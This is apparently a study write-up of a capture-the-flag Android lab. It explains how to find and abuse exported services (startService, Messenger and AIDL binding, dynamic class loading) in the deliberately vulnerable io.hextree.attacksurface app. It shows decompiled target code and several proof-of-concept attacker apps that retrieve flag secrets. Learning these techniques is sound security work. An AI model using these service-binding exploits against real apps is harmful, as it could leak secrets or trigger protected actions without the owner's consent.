Android Services

Exported services are another attack surface in android.

used for long running bakcground tasks.

e.g. Media player in background.

Note:

  • Activity: Runs in the foreground and renders the UI

  • Broadcast Receiver: Runs in the background to execute a minimal task

  • Service: Executes long running tasks in the background

Services are also defined in manifest file. But that services can be protected with specific permission means apps with that permission can only call that service.

<service android:name="io.example.services.MyService"
 android:enabled="true" android:exported="true">
    <intent-filter>
        <action android:name="io.example.START"/>
    </intent-filter>
</service>
<service android:name=".MyJobService" 
 android:permission="android.permission.BIND_JOB_SERVICE"
 android:exported="true">
 </service>

android.permission.BIND_JOB_SERVICEthis permission is only available to system only.

Types of services:

  1. Bindable & non-bindable services

  2. LocalBinder

  3. Message Handler

  4. AIDL definitions

Starting service is similar to sending activity intent or broadcast. We just use startService()or bindService() funcitonto start it.

((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
                intent.setAction("io.hextree.services.START_FLAG24_SERVICE");
                intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.services.Flag24Service");
                startService(intent);
            }
        });

Receiving app handles our intent with onStartCommand()function

public int onStartCommand(Intent intent, int i, int i2) {
        Log.i("Flag24Service", Utils.dumpIntent(this, intent));
        if (intent.getAction().equals("io.hextree.services.START_FLAG24_SERVICE")) {
            success();
        }
        return super.onStartCommand(intent, i, i2);
    }

Since latest release for us able to start a service from a target app. The target app must be running in background.

Also since android 11, we need to specifically define in our manifest file that which app's service we want to interact with.

    <queries>
        <package android:name="io.hextree.attacksurface"/>
    </queries>

Note: similar to broadcasts, services can't start an activity if the target app is in background. The target app must be in use only then an activity of that app can be launched. It's ui thing so that user don't get disturebed.

There is generally bindable service which is used. So an application can bind with target seervice for exchanging data with that app.

in that bindservice function is used. It is facilitated by android IPC interface. In that function onBindbecomes interesting to us.

After identifying an exposed Service in the android manifest, the next step should be looking at the onBind() method to determine if the service can be bound to or not.

When the onBind() method returns nothing or even throws an exception, then the service definetly cannot be bount to.

@Override // android.app.Service
public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException("Not yet implemented");
}

There are also services where the onBind() method returns something, but it's only an internally bindable service, thus from our perspective it's a non-bindable service. These kind of services can usually be recognized by naming convention of "LocalBinder".

If app's service can only be bound to from inside the sme app. As an attacker this is essentially non-bindable service. i.e. LocalBinder.

Messenger

This is a wrapper around binder and high level which binds to a service and send and recive message to and from a target service respectively. More: https://developer.android.com/reference/android/os/Messenger

package com.example.services;

import android.app.Service;
import android.content.Intent;
import android.os.*;
import android.util.Log;
import java.util.UUID;

public class Flag26Service extends Service {
    // Constant for message handling
    public static final int MSG_SUCCESS = 42;

    // Generates a unique secret key for the service instance
    public static String secret = UUID.randomUUID().toString();

    // Messenger for handling incoming messages
    final Messenger messenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));

    /**
     * Handler to process incoming messages from clients.
     */
    class IncomingHandler extends Handler {
        String echo; // Placeholder variable, currently unused

        // Constructor initializing the handler with a specified looper
        IncomingHandler(Looper looper) {
            super(looper);
            this.echo = ""; // Initialize echo
        }

        @Override
        public void handleMessage(Message message) {
            Log.i("Flag26Service", "Received message: " + message.what);

            // Process only specific message types
            if (message.what == MSG_SUCCESS) {
                Flag26Service.this.success(this.echo);
            } else {
                super.handleMessage(message);
            }
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        Log.i("Flag26Service", "Service bound with intent: " + Utils.dumpIntent(this, intent));
        return this.messenger.getBinder(); // Return the Messenger's binder for client communication
    }

    /**
     * Placeholder method for success handling.
     * The original code called `success()`, but the method was missing.
     */
    private void success(String message) {
        Log.i("Flag26Service", "Success method called with message: " + message);
        // TODO: Implement logic for handling success cases
    }
}

new IncomingHandler(Looper.getMainLooper())

  • IncomingHandler is a custom class extending Handler.

  • Looper.getMainLooper() ensures that the handler runs on the main thread (UI thread) instead of a background thread.

  • This is important because services do not have their own UI thread by default, so handlers must explicitly specify a looper.

new Messenger(...)

  • Messenger wraps the Handler, allowing it to receive Message objects from other components (such as Activities, Services, or even separate apps).

  • It provides a safe way to handle IPC (Inter-Process Communication) without directly dealing with AIDL (Android Interface Definition Language).

handleMessagefunction is overrided to handle incoming message logic from our app.

this message inside handleMessage can contain all kind of data an intent can support.

onBindfunction returns an object of type Messenger which can be binded by other apps.

To interact with boundable service we will use bindService function : https://developer.android.com/reference/android/content/Context#bindService(android.content.Intent,%20android.content.ServiceConnection,%20int)

public class MainActivityHextree extends AppCompatActivity {

    private  class IncomingHandler extends Handler{
        IncomingHandler() { super(Looper.getMainLooper());}

        @Override
        public  void handleMessage(Message msg) {
            Log.d("reply: ", String.valueOf(msg)); //handle reply message from service
        }
    }

    private final Messenger clientReply = new Messenger(new IncomingHandler());
    private final ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {

            Messenger messenger = new Messenger(service);
            Message msg = Message.obtain(null, 42);
            msg.replyTo = clientReply;
            try{
                messenger.send(msg);
            } catch (RemoteException e){
                throw new RuntimeException(e);
            }

        }

        @Override
        public void onServiceDisconnected(ComponentName name) {

        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);


        ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.services.Flag26Service");
                bindService(intent, connection, Context.BIND_AUTO_CREATE);
            }
        });



    }

e.g. 2 in particular condition this service will run success function

public class Flag26Service extends Service {
    public static final int MSG_SUCCESS = 42;
    public static String secret = UUID.randomUUID().toString();
    final Messenger messenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));

    class IncomingHandler extends Handler {
        String echo;

        IncomingHandler(Looper looper) {
            super(looper);
            this.echo = "";
        }

        @Override // android.os.Handler
        public void handleMessage(Message message) {
            Log.i("Flag26Service", "handleMessage(" + message.what + ")");
            if (message.what == 42) {
                Flag26Service.this.success(this.echo);
            } else {
                super.handleMessage(message);
            }
        }
    }

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        Log.i("Flag26Service", Utils.dumpIntent(this, intent));
        return this.messenger.getBinder();
    }

    /* JADX INFO: Access modifiers changed from: private */
    public void success(String str) {
        Intent intent = new Intent(this, (Class<?>) Flag26Activity.class);
        intent.putExtra("secret", secret);
        intent.putExtra("what", 42);
        intent.addFlags(268468224);
        intent.putExtra("hideIntent", true);
        startActivity(intent);
    }
}

for this to solve we need to bind to service and use messenger to send mutiple message back and forth.

public class MainActivityHextree extends AppCompatActivity {

    private String password = "";
    private Messenger boundMessenger; // Store service Messenger

    private class IncomingHandler extends Handler {
        IncomingHandler() {
            super(Looper.getMainLooper());
        }

        @Override
        public void handleMessage(Message msg) {
            Bundle data = msg.getData();
            String receivedPassword = data.getString("password");

            if (receivedPassword != null) {

                Log.d("setting password:",receivedPassword );
                password = receivedPassword;
                //Log.d("reply", "Received Password: " + password);

                // Now send the second message with the password
                sendPasswordToService();
            }

            for (String key : data.keySet()) {
                Log.d("IncomingHandler", "Key: " + key + ", Value: " + data.get(key));
            }
        }
    }

    private final Messenger clientReply = new Messenger(new IncomingHandler());

    private final ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            boundMessenger = new Messenger(service); // Store Messenger for reuse
            setEcho(); //set echo
            requestPasswordFromService(); // First, request the password
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            boundMessenger = null;
        }
    };

    private void requestPasswordFromService() {
        if (boundMessenger == null) return;

        Message msg = Message.obtain(null, 2);
        Bundle bundle = new Bundle();
        bundle.putString("echo", "give flag");
        msg.obj=bundle;
        msg.replyTo = clientReply;

        try {
            boundMessenger.send(msg);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    private void setEcho() {
        if (boundMessenger == null ) return;

        Log.d("setting echo", "test");
        Message msg = Message.obtain(null, 1);
        Bundle bundle = new Bundle();
        bundle.putString("echo", "give flag");
        //bundle.putString("password", password);
        msg.setData(bundle);
        msg.replyTo = clientReply;

        try {
            boundMessenger.send(msg);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    private void sendPasswordToService() {
        if (boundMessenger == null || password.isEmpty()) return;

        Log.d("asking flag,with pass", password);
        Message msg = Message.obtain(null, 3);
        Bundle bundle = new Bundle();
        bundle.putString("echo", "give flag");
        bundle.putString("password", password);
        msg.setData(bundle);
        msg.replyTo = clientReply;

        try {
            boundMessenger.send(msg);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag27Service");
                bindService(intent, connection, Context.BIND_AUTO_CREATE);
            }
        });
    }
}
  1. using our button click we use bindService to bind to service.

  2. on binding we and service connected we call, setEcho, requestpassword. when password is recived we send that password to service.

AIDL(Android Interface Definition Language) Service

"The Android Interface Definition Language (AIDL) is similar to other IDLs: it lets you define the programming interface that both the client and service agree upon in order to communicate with each other using interprocess communication (IPC)."

link: https://developer.android.com/develop/background-work/services/aidl

When a service returns a onBind object that means it can be binded for communication.

And AIDL is another way to do that. AIDL code is written in .aidlfile in development phase. But while compilation that is converted to java code and can be found as java code while we decompile apk. e.g.

public class Flag28Service extends Service {
    public static String secret = UUID.randomUUID().toString();
    private final IFlag28Interface.Stub binder = new IFlag28Interface.Stub() { // from class: io.hextree.attacksurface.services.Flag28Service.1
        @Override // io.hextree.attacksurface.services.IFlag28Interface
        public boolean openFlag() throws RemoteException {
            return success();
        }

        public boolean success() {
            Intent intent = new Intent();
            intent.setClass(Flag28Service.this, Flag28Activity.class);
            intent.putExtra("secret", Flag28Service.secret);
            intent.addFlags(268468224);
            intent.putExtra("hideIntent", true);
            Flag28Service.this.startActivity(intent);
            return true;
        }
    };

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        Log.i("Flag28Service", Utils.dumpIntent(this, intent));
        return this.binder;
    }

we can onbind returns a binder object.

IFlag28Interface.Stubis indicator of AIDL srvice.

  • In Android, when you define an AIDL interface (.aidl file), the Android build system generates a .Stub class that extends android.os.Binder.

  • This Stub class is used to expose IPC (Inter-Process Communication) methods.

When we want to interact with such a service we probably want to reverse engineer the original .aidl file.

  1. Look for the DESCRIPTOR variable, as it contains the original package path and .aidl filename

  2. The AIDL methods can be derived from the interface methods with the throws RemoteException

  3. The original method order is shown by the TRANSACTION_ integers

Binding to AIDL Service

Method 1: Writing Our AIDL definition to connect to target service

When it is confirmed AIDL is being used:

public class Flag28Service extends Service {
    public static String secret = UUID.randomUUID().toString();
    private final IFlag28Interface.Stub binder = new IFlag28Interface.Stub() { // from class: io.hextree.attacksurface.services.Flag28Service.1
        @Override // io.hextree.attacksurface.services.IFlag28Interface
        public boolean openFlag() throws RemoteException {
            return success();
        }

        public boolean success() {
            Intent intent = new Intent();
            intent.setClass(Flag28Service.this, Flag28Activity.class);
            intent.putExtra("secret", Flag28Service.secret);
            intent.addFlags(268468224);
            intent.putExtra("hideIntent", true);
            Flag28Service.this.startActivity(intent);
            return true;
        }
    };

Interface.Stub() indicates this service is implemented using AIDL.

As discussed earlier AIDL files are converted to java code on compilation. So in jadx on looking IFlag28Interface code we can get idea of what original AIDL file looked.

package io.hextree.attacksurface.services;

import android.os.Binder;
import android.os.IBinder;
import android.os.IInterface;
import android.os.Parcel;
import android.os.RemoteException;

/* loaded from: classes.dex */
public interface IFlag28Interface extends IInterface {
    public static final String DESCRIPTOR = "io.hextree.attacksurface.services.IFlag28Interface";

    public static class Default implements IFlag28Interface {
        @Override // android.os.IInterface
        public IBinder asBinder() {
            return null;
        }

        @Override // io.hextree.attacksurface.services.IFlag28Interface
        public boolean openFlag() throws RemoteException {
            return false;
        }
    }

    boolean openFlag() throws RemoteException;

    public static abstract class Stub extends Binder implements IFlag28Interface {
        static final int TRANSACTION_openFlag = 1;

        @Override // android.os.IInterface
        public IBinder asBinder() {
            return this;
        }

....<SNIP>.......

DESCRIPTOR = "io.hextree.attacksurface.services.IFlag28Interface"; explains package path and name for AIDL definition

static final int TRANSACTION_openFlag = 1;

This maps the transaction code 1 to openFlag(),to identify the method openFlag() which can be called by client

another way to identify exposed methods as they are always defiend with RemoteException and have a TRANSACTION id attached to it.

When you define an AIDL interface, each method that you want to expose remotely is assigned a unique transaction code (represented by constants like TRANSACTION_openFLag

  1. Now let's go write aidl file as client to connect to target .

  2. before creating AIDL file we need to add to build grade properties.

    buildFeatures{
        aidl = true
    }
  1. create a new AIDL file in android studio with same name as of your target app interface IFlag28Interface.

package io.hextree.attacksurface.services;

// Define the remote interface
interface IFlag28Interface {
    boolean openFlag();  // This must match the original app's method
}

here package name must match extactly what target app DESCRIPTOR has.

Now dfinietly when you will import this AIDL usage in your launcher activity. You can't just write import io.hextree.attacksurface.services as there is no such folder in your project because write now your aidl file will be inside your project folder name

You need to manually create those folders , or

  1. right click on aidl folder and add a new package

  1. Now drag and drop your aidl file to that folder. you can file is moved form original folder to new folder

  1. now run/build the app this will generate a java file which can be imported in mainactivity for working.

  1. Now use bindservice to connect to this service and call openflag

package com.example.poc;
....
import io.hextree.attacksurface.services.IFlag28Interface;



public class MainActivity extends AppCompatActivity {

    ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            Log.d("MainActivity", "Service Connected: " + name);
            IFlag28Interface remote = IFlag28Interface.Stub.asInterface(service);
            try {
                remote.openFlag();
                Log.d("MainActivity", "Flag opened successfully");
            } catch (RemoteException e) {
                Log.e("MainActivity", "Error calling openFlag: " + e.getMessage());
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            Log.d("MainActivity", "Service Disconnected: " + name);
        }

    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        Button homeButton = findViewById(R.id.home_button);
        homeButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                Intent intent = new Intent();
                intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.services.Flag28Service");
                //startService(intent);
                bindService(intent, connection, Context.BIND_AUTO_CREATE);

            }
        });
    }
}

you can see result of bindservice is casted to remote service of type IFlag28Interface

 IFlag28Interface remote = IFlag28Interface.Stub.asInterface(service);
  • The IFlag28Interface.Stub class is an auto-generated class by Android when you define an AIDL interface.

  • asInterface() is a static method in the Stub class that converts the IBinder object into a local proxy object that implements the IFlag28Interface interface. This proxy allows you to interact with the remote service by calling methods like openFlag().

Note: don't forget to add <queries> tag in manifest file as discussed above.

Now there can be multiple methods in target app which are exported.

public class Flag29Service extends Service {
    public static String secret = UUID.randomUUID().toString();
    private final IFlag29Interface.Stub binder = new IFlag29Interface.Stub() { // from class: io.hextree.attacksurface.services.Flag29Service.1
        final String pw = UUID.randomUUID().toString();
        Intent intent = new Intent();

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public String init() throws RemoteException {
            Log.i("Flag29", "service.init()");
            return this.pw;
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public void authenticate(String str) throws RemoteException {
            Log.i("Flag29", "service.authenticate(" + str + ")");
            if (str.equals(this.pw)) {
                this.intent.putExtra("authenticated", true);
            } else {
                this.intent.removeExtra("authenticated");
            }
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public void success() throws RemoteException {
            Log.i("Flag29", "service.success()");
            this.intent.setClass(Flag29Service.this, Flag29Activity.class);
            if (this.intent.getBooleanExtra("authenticated", false)) {
                this.intent.putExtra("secret", Flag29Service.secret);
                this.intent.addFlags(268435456);
                this.intent.putExtra("hideIntent", true);
                Flag29Service.this.startActivity(this.intent);
            }
        }
    };

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        Log.i("Flag29Service", Utils.dumpIntent(this, intent));
        return this.binder;
    }
}

as you can see this is also a AIDL service. and lookign at IFlag29Service interface

public interface IFlag29Interface extends IInterface {
    public static final String DESCRIPTOR = "io.hextree.attacksurface.services.IFlag29Interface";

    public static class Default implements IFlag29Interface {
        @Override // android.os.IInterface
        public IBinder asBinder() {
            return null;
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public void authenticate(String str) throws RemoteException {
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public String init() throws RemoteException {
            return null;
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public void success() throws RemoteException {
        }
    }

    void authenticate(String str) throws RemoteException;

    String init() throws RemoteException;

    void success() throws RemoteException;

    public static abstract class Stub extends Binder implements IFlag29Interface {
        static final int TRANSACTION_authenticate = 2;
        static final int TRANSACTION_init = 1;
        static final int TRANSACTION_success = 3;

you can see those three methods are defined. and have a corresponding transaction id.

Here order of TRANSACTION id matters. because we also have to match the order of methods in our aidl file. e.g.

package io.hextree.attacksurface.services;

// Define the remote interface
interface IFlag29Interface {
    String init();  
    void authenticate(String str);
    void success();
}

Note: don't forget to name your aidl file also same as target app. ie.e. IFlag29Interface.

when this is converted to java class it assigned the transaction id in same order

    static final int TRANSACTION_init = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
    static final int TRANSACTION_authenticate = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);
    static final int TRANSACTION_success = (android.os.IBinder.FIRST_CALL_TRANSACTION + 2);

If you mess up the order in your aidl file. then your generated java class have different transaction id which will not match with server transaction id. and your app will fail.

this is done because How Android's Binder IPC Works:

In Android, Binder IPC (Inter-Process Communication) relies on transaction codes to identify and differentiate between different method calls that are being made between processes.

  • When you define an AIDL interface, each method that you want to expose remotely is assigned a unique transaction code (represented by constants like TRANSACTION_init, TRANSACTION_success, etc.).

  • When the remote client calls a method (such as init(), success(), or authenticate()), it sends a transaction request to the server process using the corresponding transaction code.

  • The server-side Stub class uses these transaction codes to correctly map incoming requests to specific methods.

Now in target app code we have to execute 3 functions. which we have defined also in aidl file , now we just have to import that interface and call remote methods.

package com.example.poc;

import io.hextree.attacksurface.services.IFlag29Interface;



public class MainActivity extends AppCompatActivity {

    ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            Log.d("MainActivity", "Service Connected: " + name);
            IFlag29Interface remote = IFlag29Interface.Stub.asInterface(service);
            try {
                String result = remote.init();
                Log.d("got pw", result);
                Log.d("calling auth", "with pass");
                remote.authenticate(result);
                Log.d("calling success", "ff");
                remote.success();



            } catch (RemoteException e) {
                Log.e("MainActivity", "Error calling openFlag: " + e.getMessage());
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            Log.d("MainActivity", "Service Disconnected: " + name);
        }

    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        Button homeButton = findViewById(R.id.home_button);
        homeButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                Intent intent = new Intent();
                intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.services.Flag29Service");
                //startService(intent);
                bindService(intent, connection, Context.BIND_AUTO_CREATE);

            }
        });
    }
}

Method 2: Dynamic Remote class Loading

"Adding an .aidl file to your own project can be annoying. Another method that appears more complex at first, is actually quite convenient. By loading the class directly from the target app, we can just invoke the functions we need and do not have to bother about method order or package names."

example 1 , flag28

public class MainActivity extends AppCompatActivity {

    ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            // Load the class dynamically
            ClassLoader classLoader = null;
            try {
                classLoader = MainActivity.this.createPackageContext("io.hextree.attacksurface", Context.CONTEXT_IGNORE_SECURITY | Context.CONTEXT_INCLUDE_CODE).getClassLoader();
                Class<?> iRemoteServiceClass = classLoader.loadClass("io.hextree.attacksurface.services.IFlag28Interface");
                Class<?> stubClass = null;
                for (Class<?> innerClass : iRemoteServiceClass.getDeclaredClasses()) {
                    if (innerClass.getSimpleName().equals("Stub")) {
                        stubClass = innerClass;
                        break;
                    }

                }
                // Get the asInterface method
                Method asInterfaceMethod = stubClass.getDeclaredMethod("asInterface", IBinder.class);

                // Invoke the asInterface method to get the instance of IRemoteService
                Object iRemoteService = asInterfaceMethod.invoke(null, service);

                // Call the init method and get the returned string
                Method openFlagMethod = iRemoteServiceClass.getDeclaredMethod("openFlag");
                boolean initResult = (boolean) openFlagMethod.invoke(iRemoteService);
            } catch (PackageManager.NameNotFoundException e) {
                throw new RuntimeException(e);
            } catch (ClassNotFoundException e) {
                throw new RuntimeException(e);
            } catch (InvocationTargetException e) {
                throw new RuntimeException(e);
            } catch (NoSuchMethodException e) {
                throw new RuntimeException(e);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            }


        }


        @Override
        public void onServiceDisconnected(ComponentName name) {
            Log.d("MainActivity", "Service Disconnected: " + name);
        }

    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        Button homeButton = findViewById(R.id.home_button);
        homeButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                Intent intent = new Intent();
                intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.services.Flag28Service");
                //startService(intent);
                bindService(intent, connection, Context.BIND_AUTO_CREATE);

            }
        });
    }
}

example 2, flag29

public class MainActivity extends AppCompatActivity {

    ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            // Load the class dynamically
            ClassLoader classLoader = null;
            try {
                classLoader = MainActivity.this.createPackageContext("io.hextree.attacksurface", Context.CONTEXT_IGNORE_SECURITY | Context.CONTEXT_INCLUDE_CODE).getClassLoader();
                Class<?> iRemoteServiceClass = classLoader.loadClass("io.hextree.attacksurface.services.IFlag29Interface");
                Class<?> stubClass = null;
                for (Class<?> innerClass : iRemoteServiceClass.getDeclaredClasses()) {
                    if (innerClass.getSimpleName().equals("Stub")) {
                        stubClass = innerClass;
                        break;
                    }

                }
                // Get the asInterface method
                Method asInterfaceMethod = stubClass.getDeclaredMethod("asInterface", IBinder.class);

                // Invoke the asInterface method to get the instance of IRemoteService
                Object iRemoteService = asInterfaceMethod.invoke(null, service);

                // Call the init method and get the returned string
                Method init = iRemoteServiceClass.getDeclaredMethod("init");
                String pw = (String) init.invoke(iRemoteService);
                Log.d("pass", pw);

                Method authenticate = iRemoteServiceClass.getDeclaredMethod("authenticate", String.class);
                authenticate.invoke(iRemoteService, pw);

                Method success = iRemoteServiceClass.getDeclaredMethod("success");
                success.invoke(iRemoteService);


            } catch (PackageManager.NameNotFoundException e) {
                throw new RuntimeException(e);
            } catch (ClassNotFoundException e) {
                throw new RuntimeException(e);
            } catch (InvocationTargetException e) {
                throw new RuntimeException(e);
            } catch (NoSuchMethodException e) {
                throw new RuntimeException(e);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            }


        }


        @Override
        public void onServiceDisconnected(ComponentName name) {
            Log.d("MainActivity", "Service Disconnected: " + name);
        }

    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        Button homeButton = findViewById(R.id.home_button);
        homeButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                Intent intent = new Intent();
                intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.services.Flag29Service");
                //startService(intent);
                bindService(intent, connection, Context.BIND_AUTO_CREATE);

            }
        });
    }
}

In both cases you can see we didn't need to create aidl file just dynamically load classes and methods and invoke them.

Last updated